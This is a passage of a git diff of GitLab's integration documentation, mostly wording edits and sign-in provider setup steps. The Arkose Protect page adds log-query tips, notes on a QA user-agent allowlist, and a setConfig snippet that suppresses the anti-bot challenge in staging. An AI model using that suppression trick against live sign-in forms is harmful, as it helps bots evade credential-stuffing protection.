a/doc/integration/advanced_search/elasticsearch_troubleshooting.md +++ b/doc/integration/advanced_search/elasticsearch_troubleshooting.md @@ -100,8 +100,8 @@ Here are some common pitfalls and how to overcome them. There are a couple of ways to achieve that: -- Whenever you perform a search there is a link on the search results page - in the top right hand corner saying "Advanced search functionality is enabled". +- When you perform a search, in the upper-right corner of the search results page, + **Advanced search functionality is enabled** is displayed. This is always correctly identifying whether the current project/namespace being searched is using Elasticsearch. @@ -309,26 +309,23 @@ When it comes to Elasticsearch, RAM is the key resource. Elasticsearch themselve - Ideally, 64 GB of RAM. For CPU, Elasticsearch recommends at least 2 CPU cores, but Elasticsearch states common -setups use up to 8 cores. For more details on server specs, check out -[Elasticsearch's hardware guide](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html). +setups use up to 8 cores. For more details on server specs, check out the +[Elasticsearch hardware guide](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html). Beyond the obvious, sharding comes into play. Sharding is a core part of Elasticsearch. It allows for horizontal scaling of indices, which is helpful when you are dealing with a large amount of data. With the way GitLab does indexing, there is a **huge** amount of documents being -indexed. By utilizing sharding, you can speed up Elasticsearch's ability to locate -data, since each shard is a Lucene index. +indexed. By using sharding, you can speed up the ability of Elasticsearch to locate +data because each shard is a Lucene index. If you are not using sharding, you are likely to hit issues when you start using Elasticsearch in a production environment. -Keep in mind that an index with only one shard has **no scale factor** and will -likely encounter issues when called upon with some frequency. - -If you need to know how many shards, read -[Elasticsearch's documentation on capacity planning](https://www.elastic.co/guide/en/elasticsearch/guide/2.x/capacity-planning.html), -as the answer is not straight forward. +An index with only one shard has **no scale factor** and is likely +to encounter issues when called upon with some frequency. See the +[Elasticsearch documentation on capacity planning](https://www.elastic.co/guide/en/elasticsearch/guide/2.x/capacity-planning.html). The easiest way to determine if sharding is in use is to check the output of the [Elasticsearch Health API](https://www.elastic.co/guide/en/elasticsearch/reference/current/cluster-health.html): diff --git a/doc/integration/alicloud.md b/doc/integration/alicloud.md index 263b3837d1d..d861d32e96a 100644 --- a/doc/integration/alicloud.md +++ b/doc/integration/alicloud.md @@ -59,7 +59,9 @@ Sign in to the AliCloud platform and create an application on it. AliCloud gener sudo -u git -H editor config/gitlab.yml ``` -1. [Configure the initial settings](omniauth.md#configure-initial-settings). +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `alicloud` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration. Replace `YOUR_APP_ID` with the ID on the application details page and `YOUR_APP_SECRET` with the **SecretValue** you got when you registered the AliCloud application. diff --git a/doc/integration/arkose.md b/doc/integration/arkose.md index 09a7defcff8..ae90f1f9574 100644 --- a/doc/integration/arkose.md +++ b/doc/integration/arkose.md @@ -13,7 +13,7 @@ Arkose Protect on GitLab.com. While this feature is theoretically usable in self is not recommended at the moment. GitLab integrates [Arkose Protect](https://www.arkoselabs.com/arkose-protect/) to guard against -credential stuffing and bots in the sign-in form. GitLab will trigger Arkose Protect if the user: +credential stuffing and bots in the sign-in form. GitLab triggers Arkose Protect if the user: - Has never signed in before. - Has failed to sign in twice in a row. @@ -26,6 +26,28 @@ the `Sign in` button. The challenge needs to be completed to proceed with the si attempt. If Arkose Protect trusts the user, the challenge runs in transparent mode, meaning that the user doesn't need to take any additional action and can sign in as usual. +```mermaid +sequenceDiagram + participant U as User + participant G as GitLab + participant A as Arkose Labs + U->>G: User loads form <br />(POST /api/:version/users/captcha_check) + G->>A: Sends device fingerprint and telemetry + A->>U: Returns Session token and decision on if to challenge + opt Requires Challenge + U->>U: User interacts with Challenge iframe + end + U->>G: Submits form with Arkose Labs token + G ->> A: Sends token to be verified + A ->> G: Returns verification response + Note over G: records `UserCustomAttribute::risk_band` + alt session_details.solved == true + G ->> U: Proceed + else session_details.solved == false + G ->> U: Do not proceed + end +``` + ## How do we treat malicious sign-in attempts? Users are not denied access if Arkose Protect considers they are malicious. However, @@ -61,17 +83,78 @@ To enable Arkose Protect: Feature.enable(:arkose_labs_prevent_login) ``` -## QA tests caveat +## Triage and debug ArkoseLabs issues + +You can triage and debug issues raised by ArkoseLabs with: + +- The [GitLab production logs](https://log.gprd.gitlab.net). +- The [Arkose logging service](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/arkose/logger.rb). + +### View ArkoseLabs Verify API response for a user session + +To view an ArkoseLabs Verify API response for a user, [query the GitLab production logs](https://log.gprd.gitlab.net/goto/54b82f50-935a-11ed-9f43-e3784d7fe3ca) with the following KQL: + +```plaintext +KQL: json.message:"Arkose verify response" AND json.username:replace_username_here +``` + +If the query is valid, the result contains debug information about the user's session: + +| Response | Description | +|---------|-------------| +| `json.response.session_details.suppressed` | Value is `true` if the challenge was not shown to the user. Always `true` if the user is allowlisted. | +| `json.arkose.risk_band` | Can be `low`, `medium`, or `high`. Ignored on sign in. Use to debug identity verification issues. | +| `json.response.session_details.solved` | Indicates whether the user solved the challenge. Always `true` if the user is allowlisted. | +| `json.response.session_details.previously_verified` | Indicates whether the token has been reused. Default is `false`. If `true`, it might indicate malicious activity. | + +### Check if a user failed an ArkoseLabs challenge + +To check if a user failed to sign in because the ArkoseLabs challenge was not solved, [query the GitLab production logs](https://log.gprd.gitlab.net/goto/b97c8a80-935a-11ed-85ed-e7557b0a598c) with the following KQL: + +```plaintext +KQL: json.message:"Challenge was not solved" AND json.username:replace_username_here` +``` + +## Allowlists -Several GitLab QA test suites need to sign in to the app to test its features. This can conflict -with Arkose Protect as it would identify QA users as being malicious because they are being run with -a headless browser. To work around this, ArkoseLabs has allowlisted the unique token -that serves as QA session's User Agent. While this doesn't guarantee that the session won't be -flagged as malicious, Arkose's API returns a specific telltale when we verify the sign in -attempt's token. We are leveraging this telltale to bypass the verification step entirely so that the -test suite doesn't fail. This bypass is done in the `UserVerificationService` class. +To ensure end-to-end QA test suites can pass during staging and production, we've [allowlisted](https://developer.arkoselabs.com/docs/verify-api-v4#creating-allowlists-and-denylists) the [GITLAB_QA_USER_AGENT](https://start.1password.com/open/i?a=LKATQYUATRBRDHRRABEBH4RJ5Y&v=6gq44ckmq23vqk5poqunurdgay&i=u2wvs63affaxzi22gnfbjjw2zm&h=gitlab.1password.com). Each QA user receives an `ALLOWLIST` [risk category](https://developer.arkoselabs.com/docs/risk-score). + +You can find the usage of the allowlist telltale in our [Arkose::VerifyResponse](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/arkose/verify_response.rb#L38) class. ## Feedback Job To help Arkose improve their protection service, we created a daily background job to send them the list of blocked users by us. This job is performed by the `Arkose::BlockedUsersReportWorker` class. + +## Test your integration + +In staging and development environments only, you can suppress a challenge, or force one to appear. +You can use this feature if you want to receive a specific risk band. + +To force a challenge, change your browser [user agent string](https://developer.chrome.com/docs/devtools/device-mode/override-user-agent/). You can find the appropriate string in [1Password](https://start.1password.com/open/i?a=LKATQYUATRBRDHRRABEBH4RJ5Y&v=6gq44ckmq23vqk5poqunurdgay&i=5v3ushqmfgifpwyqohop5gv5xe&h=gitlab.1password.com). + +Alternatively, to request specific behaviors, modify the `setConfig` to include a `data.id` property: + +- `'ML_defence'` - Force a challenge to appear. +- `'customer_request'` - Suppress a challenge. If you suppress a challenge, ArkoseLabs considers your session safe. + +For example, this `setConfig` suppresses a challenge: + +```javascript + arkoseObject.setConfig({ + data: { id: 'customer_request' }, + ... + }); +``` + +## Additional resources + +<!-- markdownlint-disable MD044 --> +The [Anti-abuse team](https://about.gitlab.com/handbook/engineering/development/data-science/anti-abuse/#team-members) owns the ArkoseLabs Protect feature. You can join our ArkoseLabs/GitLab collaboration channel on Slack: [#ext-gitlab-arkose](https://gitlab.slack.com/archives/C02SGF6RLPQ). +<!-- markdownlint-enable MD044 --> + +ArkoseLabs also maintains the following resources: + +- [ArkoseLabs portal](https://portal.arkoselabs.com/) +- [ArkoseLabs Zendesk](https://support.arkoselabs.com/) +- [ArkoseLabs documentation](https://developer.arkoselabs.com/docs/documentation-guide) diff --git a/doc/integration/auth0.md b/doc/integration/auth0.md index 448807e91fc..ad20057f452 100644 --- a/doc/integration/auth0.md +++ b/doc/integration/auth0.md @@ -42,8 +42,9 @@ application. sudo -u git -H editor config/gitlab.yml ``` -1. Read [Configure initial settings](omniauth.md#configure-initial-settings) - for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `auth0` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: diff --git a/doc/integration/azure.md b/doc/integration/azure.md index 8c30a0cef77..cc479dbf65d 100644 --- a/doc/integration/azure.md +++ b/doc/integration/azure.md @@ -68,7 +68,9 @@ Alternatively, add the `User.Read.All` application permission. sudo -u git -H editor config/gitlab.yml ``` -1. [Configure the initial settings](omniauth.md#configure-initial-settings). +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `azure_oauth2` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration. Replace `<client_id>`, `<client_secret>`, and `<tenant_id>` with the values you got when you registered the Azure application. diff --git a/doc/integration/cas.md b/doc/integration/cas.md index 35c5a6db4a7..750c9aeb8a4 100644 --- a/doc/integration/cas.md +++ b/doc/integration/cas.md @@ -32,7 +32,9 @@ configure CAS for back-channel logout. sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `cas3` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: diff --git a/doc/integration/datadog.md b/doc/integration/datadog.md index 1f20bccf083..8b64e3898f9 100644 --- a/doc/integration/datadog.md +++ b/doc/integration/datadog.md @@ -4,12 +4,12 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Datadog integration **(FREE)** +# Datadog **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270123) in GitLab 14.1 This integration enables you to send CI/CD pipeline and job information to -[Datadog](https://www.datadoghq.com/). Datadog's [CI Visibility](https://app.datadoghq.com/ci) +[Datadog](https://www.datadoghq.com/). The [Datadog CI Visibility](https://app.datadoghq.com/ci) product helps you monitor for job failures and performance issues, then troubleshoot them. It's based on [Webhooks](../user/project/integrations/webhooks.md), and only requires configuration on GitLab. diff --git a/doc/integration/ding_talk.md b/doc/integration/ding_talk.md index 18423fa1607..ca939dc9f9a 100644 --- a/doc/integration/ding_talk.md +++ b/doc/integration/ding_talk.md @@ -51,7 +51,9 @@ Sign in to DingTalk Open Platform and create an application on it. DingTalk gene sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `dingtalk` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: diff --git a/doc/integration/facebook.md b/doc/integration/facebook.md index 7c6afffc847..8b7bdeaa177 100644 --- a/doc/integration/facebook.md +++ b/doc/integration/facebook.md @@ -72,7 +72,9 @@ Facebook. Facebook generates an app ID and secret key for you to use. sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `facebook` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: diff --git a/doc/integration/github.md b/doc/integration/github.md index 6b59128966a..7b8927054ee 100644 --- a/doc/integration/github.md +++ b/doc/integration/github.md @@ -35,7 +35,9 @@ your website could enable the covert redirect attack. ## Enable GitHub OAuth in GitLab -1. [Configure the initial settings](omniauth.md#configure-initial-settings) in GitLab. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `github` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Edit the GitLab configuration file using the following information: @@ -231,7 +233,7 @@ and then connect it to your GitHub account To fix this issue, you must activate GitHub sign-in in GitLab: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Account**. 1. In the **Service sign-in** section, select **Connect to GitHub**. diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md index 0ee5b70c958..168d55b0fa5 100644 --- a/doc/integration/gitlab.md +++ b/doc/integration/gitlab.md @@ -12,7 +12,7 @@ To enable the GitLab.com OmniAuth provider you must register your application wi GitLab.com generates an application ID and secret key for you to use. 1. Sign in to GitLab.com. -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Applications**. 1. Provide the required details for **Add new application**. @@ -51,7 +51,9 @@ GitLab.com generates an application ID and secret key for you to use. sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `gitlab` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: For Omnibus installations authenticating against **GitLab.com**: diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md index 0088d4b886d..ee8f46e73df 100644 --- a/doc/integration/gitpod.md +++ b/doc/integration/gitpod.md @@ -5,12 +5,12 @@ group: Editor info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" --- -# Gitpod integration **(FREE)** +# Gitpod **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/228893) in GitLab 13.4. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/258206) in GitLab 13.8 -With [Gitpod](https://gitpod.io/) you can describe your development environment as code to get fully +With [Gitpod](https://www.gitpod.io/), you can describe your development environment as code to get fully set up, compiled, and tested development environments for any GitLab project. The development environments are not only automated but also prebuilt which means that Gitpod continuously builds your Git branches like a CI/CD server. @@ -28,33 +28,32 @@ To use the GitLab Gitpod integration, it must be enabled for your GitLab instanc 1. It's [enabled and configured by a GitLab administrator](#configure-a-self-managed-instance). 1. It's [enabled in their user settings](#enable-gitpod-in-your-user-settings). -To learn more about Gitpod, see their [features](https://www.gitpod.io/) and +For more information about Gitpod, see the Gitpod [features](https://www.gitpod.io/) and [documentation](https://www.gitpod.io/docs/). ## Enable Gitpod in your user settings With the Gitpod integration enabled for your GitLab instance, to enable it for yourself: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. Under **Preferences**, locate the **Integrations** section. 1. Select the **Enable Gitpod integration** checkbox and select **Save changes**. ## Configure a self-managed instance **(FREE SELF)** -For GitLab self-managed instances, a GitLab administrator needs to: +For self-managed GitLab instances, a GitLab administrator must: -1. Set up a Gitpod instance to integrate with GitLab. Refer to the [Gitpod documentation](https://www.gitpod.io/docs/configure/self-hosted/latest) - to get your instance up and running. -1. Enable it in GitLab: +1. Enable the Gitpod integration in GitLab: 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > General**. 1. Expand the **Gitpod** configuration section. 1. Select the **Enable Gitpod integration** checkbox. - 1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`). + 1. Enter the Gitpod instance URL (for example, `https://gitpod.example.com` or `https://gitpod.io`). 1. Select **Save changes**. +1. Register the self-managed GitLab instance in Gitpod. For more information, see the [Gitpod documentation](https://www.gitpod.io/docs/configure/authentication/gitlab#registering-a-self-hosted-gitlab-installation). -Your users can then [enable it for themselves](#enable-gitpod-in-your-user-settings). +GitLab users can then [enable the Gitpod integration for themselves](#enable-gitpod-in-your-user-settings). ## Launch Gitpod in GitLab diff --git a/doc/integration/glab/index.md b/doc/integration/glab/index.md index e71f49905c8..621472a2083 100644 --- a/doc/integration/glab/index.md +++ b/doc/integration/glab/index.md @@ -17,7 +17,7 @@ switching between windows and browser tabs.  The GitLab CLI uses commands structured like `glab <command> <subcommand> [flags]` -to perform many of the actions you normally do from the GitLab user interface: +to perform many of the actions you usually do from the GitLab user interface: ```shell # Sign in diff --git a/doc/integration/gmail_action_buttons_for_gitlab.md b/doc/integration/gmail_action_buttons_for_gitlab.md index 42b89670a68..4a233df3899 100644 --- a/doc/integration/gmail_action_buttons_for_gitlab.md +++ b/doc/integration/gmail_action_buttons_for_gitlab.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Gmail actions buttons for GitLab **(FREE)** +# Gmail actions **(FREE)** GitLab supports [Google actions in email](https://developers.google.com/gmail/markup/actions/actions-overview). diff --git a/doc/integration/google.md b/doc/integration/google.md index 947bf0303be..5eac639f119 100644 --- a/doc/integration/google.md +++ b/doc/integration/google.md @@ -71,7 +71,9 @@ On your GitLab server: sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `google_oauth2` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: For Omnibus GitLab: diff --git a/doc/integration/index.md b/doc/integration/index.md index bdf6475b6d2..195890ea4d8 100644 --- a/doc/integration/index.md +++ b/doc/integration/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# GitLab integrations **(FREE)** +# Integrate with GitLab **(FREE)** You can integrate GitLab with external services for enhanced functionality. @@ -29,7 +29,6 @@ You can integrate GitLab with the following authentication sources: - Enable sign-in with [LDAP](../administration/auth/ldap/index.md). - Enable creating [OAuth 2.0](oauth_provider.md) applications. - Use [OmniAuth](omniauth.md) to enable sign-in through: - - Authentiq ID - Azure - Bitbucket - Crowd diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md index 53a2fb8bbdd..983ff3c54bc 100644 --- a/doc/integration/jenkins.md +++ b/doc/integration/jenkins.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Jenkins integration **(FREE)** +# Jenkins **(FREE)** > [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/246756) to GitLab Free in 13.7. @@ -33,31 +33,20 @@ The Jenkins integration requires configuration in both GitLab and Jenkins. ## Grant Jenkins access to the GitLab project -Grant a GitLab user access to the relevant GitLab projects. +To grant Jenkins access to the GitLab project: -1. Create a new GitLab user, or choose an existing GitLab user. +1. Create a personal, project, or group access token. - This account is used by Jenkins to access the GitLab projects. We recommend creating a GitLab - user for only this purpose. If you use a person's account, and their account is deactivated or - deleted, the Jenkins integration stops working. + - [Create a personal access token](../user/profile/personal_access_tokens.md#create-a-personal-access-token) + to use the token for all Jenkins integrations of that user. + - [Create a project access token](../user/project/settings/project_access_tokens.md#create-a-project-access-token) + to use the token at the project level only. For instance, you can revoke + the token in a project without affecting Jenkins integrations in other projects. + - [Create a group access token](../user/group/settings/group_access_tokens.md#create-a-group-access-token-using-ui) + to use the token for all Jenkins integrations in all projects of that group. -1. Grant the user permission to the GitLab projects. - - If you're integrating Jenkins with many GitLab projects, consider granting the - user administrator access. Otherwise, add the user to each project - and grant the Maintainer role. - -## Grant Jenkins access to the GitLab API - -Create a personal access token to authorize Jenkins to access GitLab. - -1. Sign in to GitLab as the user to be used with Jenkins. -1. On the top bar, in the top right corner, select your avatar. -1. Select **Edit profile**. -1. On the left sidebar, select **Access Tokens**. -1. Create a [personal access token](../user/profile/personal_access_tokens.md) and - select the **API** scope. -1. Copy the personal access token. You need it to [configure the Jenkins server](#configure-the-jenkins-server). +1. Set the access token scope to **API**. +1. Copy the access token value to [configure the Jenkins server](#configure-the-jenkins-server). ## Configure the Jenkins server @@ -70,7 +59,7 @@ authorize the connection to GitLab. 1. In the **GitLab** section, select **Enable authentication for '/project' end-point**. 1. Select **Add**, then choose **Jenkins Credential Provider**. 1. Select **GitLab API token** as the token type. -1. Enter the GitLab personal access token's value in **API Token** and select **Add**. +1. In **API Token**, [paste the value you copied from GitLab](#grant-jenkins-access-to-the-gitlab-project) and select **Add**. 1. Enter the GitLab server's URL in **GitLab host URL**. 1. To test the connection, select **Test Connection**. diff --git a/doc/integration/jira/configure.md b/doc/integration/jira/configure.md index 98d296db170..03d742703a1 100644 --- a/doc/integration/jira/configure.md +++ b/doc/integration/jira/configure.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Configure the Jira integration in GitLab **(FREE)** +# Configure the Jira integration **(FREE)** You can set up the [Jira integration](index.md#jira-integration) by configuring your project settings in GitLab. @@ -58,3 +58,17 @@ To configure your project: Your GitLab project can now interact with all Jira projects in your instance and the project now displays a Jira link that opens the Jira project. + +## Migrate from Jira Server to Jira Cloud in GitLab + +To migrate from Jira Server to Jira Cloud in GitLab and maintain your Jira integration: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Integrations**. +1. Select **Jira**. +1. In **Web URL**, enter the new Jira site URL (for example, `https://myjirasite.atlassian.net`). +1. In **Username or Email**, enter the username or email registered on your Jira profile. +1. [Create an API token](jira_cloud_configuration.md), and copy that value. +1. In **Password or API token**, paste the API token value. +1. Optional. Select **Test settings** to check if the connection is working. +1. Select **Save changes**. diff --git a/doc/integration/jira/connect-app.md b/doc/integration/jira/connect-app.md index 81ef5a21943..402efc409cb 100644 --- a/doc/integration/jira/connect-app.md +++ b/doc/integration/jira/connect-app.md @@ -4,36 +4,36 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitLab.com for Jira Cloud app **(FREE)** +# GitLab for Jira Cloud app **(FREE)** You can integrate GitLab and Jira Cloud using the -[GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) +[GitLab for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) app in the Atlassian Marketplace. Only Jira users with administrator access can install or configure -the GitLab.com for Jira Cloud app. +the GitLab for Jira Cloud app. -## Install the GitLab.com for Jira Cloud app **(FREE SAAS)** +## Install the GitLab for Jira Cloud app **(FREE SAAS)** -If you use GitLab.com and Jira Cloud, you can install the GitLab.com for Jira Cloud app. +If you use GitLab.com and Jira Cloud, you can install the GitLab for Jira Cloud app. If you do not use both of these environments, use the [Jira DVCS Connector](dvcs/index.md) or -[install GitLab.com for Jira Cloud app for self-managed instances](#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). -We recommend the GitLab.com for Jira Cloud app, because data is +[install the GitLab for Jira Cloud app manually](#install-the-gitlab-for-jira-cloud-app-manually). +We recommend the GitLab for Jira Cloud app, because data is synchronized in real time. The DVCS connector updates data only once per hour. -To configure the GitLab.com for Jira Cloud app, you must have +To configure the GitLab for Jira Cloud app, you must have at least the Maintainer role in the GitLab.com namespace. This integration method supports [Smart Commits](dvcs/index.md#smart-commits). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For a walkthrough of the integration with GitLab.com for Jira Cloud app, watch +For a walkthrough of the integration with GitLab for Jira Cloud app, watch [Configure GitLab.com Jira Could Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube. -To install the GitLab.com for Jira Cloud app: +To install the GitLab for Jira Cloud app: 1. In Jira, go to **Jira Settings > Apps > Find new apps**, then search for GitLab. -1. Select **GitLab.com for Jira Cloud**, then select **Get it now**, or go to the +1. Select **GitLab for Jira Cloud**, then select **Get it now**, or go to the [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud).  @@ -44,14 +44,14 @@ To install the GitLab.com for Jira Cloud app: 1. To add namespaces, ensure you're signed in to GitLab.com as a user with at least the Maintainer role. -  +  1. To open the list of available namespaces, select **Add namespace**. 1. Identify the namespace you want to link, and select **Link**. - You must have at least the Maintainer role for the namespace. - Only Jira site administrators can add or remove namespaces for an installation. -  +  NOTE: The GitLab.com user only needs access when adding a new namespace. For syncing with @@ -65,7 +65,7 @@ After a namespace is added: Support for syncing past branch and commit data is tracked [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/263240). -## Update the GitLab.com for Jira Cloud app +## Update the GitLab for Jira Cloud app Most updates to the app are fully automated and don't require any user interaction. See the [Atlassian Marketplace documentation](https://developer.atlassian.com/platform/marketplace/upgrading-and-versioning-cloud-apps/) @@ -73,7 +73,35 @@ for details. If the app requires additional permissions, [the update must first be manually approved in Jira](https://developer.atlassian.com/platform/marketplace/upgrading-and-versioning-cloud-apps/#changes-that-require-manual-customer-approval). -## Connect the GitLab.com for Jira Cloud app for self-managed instances **(FREE SELF)** +## Set up OAuth authentication + +The GitLab for Jira Cloud app is [switching to OAuth authentication](https://gitlab.com/gitlab-org/gitlab/-/issues/387299). +To enable OAuth authentication, you must create an OAuth application on the GitLab instance. + +Enabling OAuth authentication is: + +- Required to [connect the GitLab for Jira Cloud app for self-managed instances](#connect-the-gitlab-for-jira-cloud-app-for-self-managed-instances). +- Recommended to [install the GitLab for Jira Cloud app manually](#install-the-gitlab-for-jira-cloud-app-manually). + +To create an OAuth application: + +1. On the top bar, select **Main menu > Admin**. +1. On the left sidebar, select **Applications** (`/admin/applications`). +1. Select **New application**. +1. In **Redirect URI**: + - If you're installing the app from the official marketplace listing, enter `https://gitlab.com/-/jira_connect/oauth_callbacks`. + - If you're installing the app manually, enter `<instance_url>/-/jira_connect/oauth_callbacks` and replace `<instance_url>` with the URL of your instance. +1. Clear the **Trusted** and **Confidential** checkboxes. +1. In **Scopes**, select the `api` checkbox only. +1. Select **Save application**. +1. Copy the **Application ID** value. +1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`). +1. Expand the **GitLab for Jira App** section. +1. Paste the **Application ID** value into **Jira Connect Application ID**. +1. Select **Save changes**. +1. Optional. Enable the `jira_connect_oauth` [feature flag](../../administration/feature_flags.md) to avoid [authentication problems in some browsers](#browser-displays-a-sign-in-message-when-already-signed-in). + +## Connect the GitLab for Jira Cloud app for self-managed instances **(FREE SELF)** > Introduced in GitLab 15.7. @@ -83,54 +111,55 @@ Prerequisites: - The instance must be publicly available. - The instance must be on version 15.7 or later. -You can link self-managed instances after installing the GitLab.com for Jira Cloud app from the marketplace. +You can link self-managed instances after installing the GitLab for Jira Cloud app from the marketplace. Jira apps can only link to one URL per marketplace listing. The official listing links to GitLab.com. +If your instance doesn't meet the prerequisites or you don't want to use the official marketplace listing, you can +[install the app manually](#install-the-gitlab-for-jira-cloud-app-manually). + It's not possible to create branches from Jira for self-managed instances. ### Set up your instance -To set up your self-managed instance for the GitLab.com for Jira Cloud app in GitLab 15.7 or later: +To set up your self-managed instance for the GitLab for Jira Cloud app in GitLab 15.7 and later: +1. [Set up OAuth authentication](#set-up-oauth-authentication). 1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Applications** (`/admin/applications`). -1. Select **New application**. -1. In **Redirect URI**, enter `https://gitlab.com/-/jira_connect/oauth_callbacks`. -1. Ensure the **Trusted** and **Confidential** checkboxes are cleared. -<!-- markdownlint-disable MD044 --> -1. In **Scopes**, select the **api** checkbox only. -<!-- markdownlint-enable MD044 --> -1. Select **Save application**. -1. Copy the **Application ID** value. 1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`). 1. Expand the **GitLab for Jira App** section. -1. Paste the **Application ID** value into **Jira Connect Application ID**. 1. In **Jira Connect Proxy URL**, enter `https://gitlab.com`. 1. Select **Save changes**. ### Link your instance -To link your self-managed instance to the GitLab.com for Jira Cloud app: +To link your self-managed instance to the GitLab for Jira Cloud app: -1. Install the [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?tab=overview&hosting=cloud). +1. Install the [GitLab for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?tab=overview&hosting=cloud). 1. Select **GitLab (self-managed)**. 1. Enter your GitLab instance URL. 1. Select **Save**. -## Install the GitLab.com for Jira Cloud app for self-managed instances **(FREE SELF)** +## Install the GitLab for Jira Cloud app manually **(FREE SELF)** -If your GitLab instance is self-managed, you must follow some -extra steps to install the GitLab.com for Jira Cloud app, and your GitLab instance must be accessible by Jira. +If your GitLab instance is self-managed and you don't want to use the official marketplace listing, +you can install the app manually. + +Prerequisites: + +- The instance must be publicly available. +- You must set up [OAuth authentication](#set-up-oauth-authentication). + +### Set up your Jira app Each Jira Cloud application must be installed from a single location. Jira fetches a [manifest file](https://developer.atlassian.com/cloud/jira/platform/connect-app-descriptor/) from the location you provide. The manifest file describes the application to the system. To support -self-managed GitLab instances with Jira Cloud, you can either: +self-managed GitLab instances with Jira Cloud, you can do one of the following: -- [Install the application manually](#install-the-application-manually). +- [Install the application in development mode](#install-the-application-in-development-mode). - [Create a Marketplace listing](#create-a-marketplace-listing). -### Install the application manually +#### Install the application in development mode You can configure your Atlassian Cloud instance to allow you to install applications from outside the Marketplace, which allows you to install the application: @@ -156,14 +185,14 @@ from outside the Marketplace, which allows you to install the application: 1. Disable [development mode](https://developer.atlassian.com/cloud/jira/platform/getting-started-with-connect/#step-2--enable-development-mode) on your Jira instance. -The **GitLab.com for Jira Cloud** app now displays under **Manage apps**. You can also +The **GitLab for Jira Cloud** app now displays under **Manage apps**. You can also select **Get started** to open the configuration page rendered from your GitLab instance. NOTE: If a GitLab update makes changes to 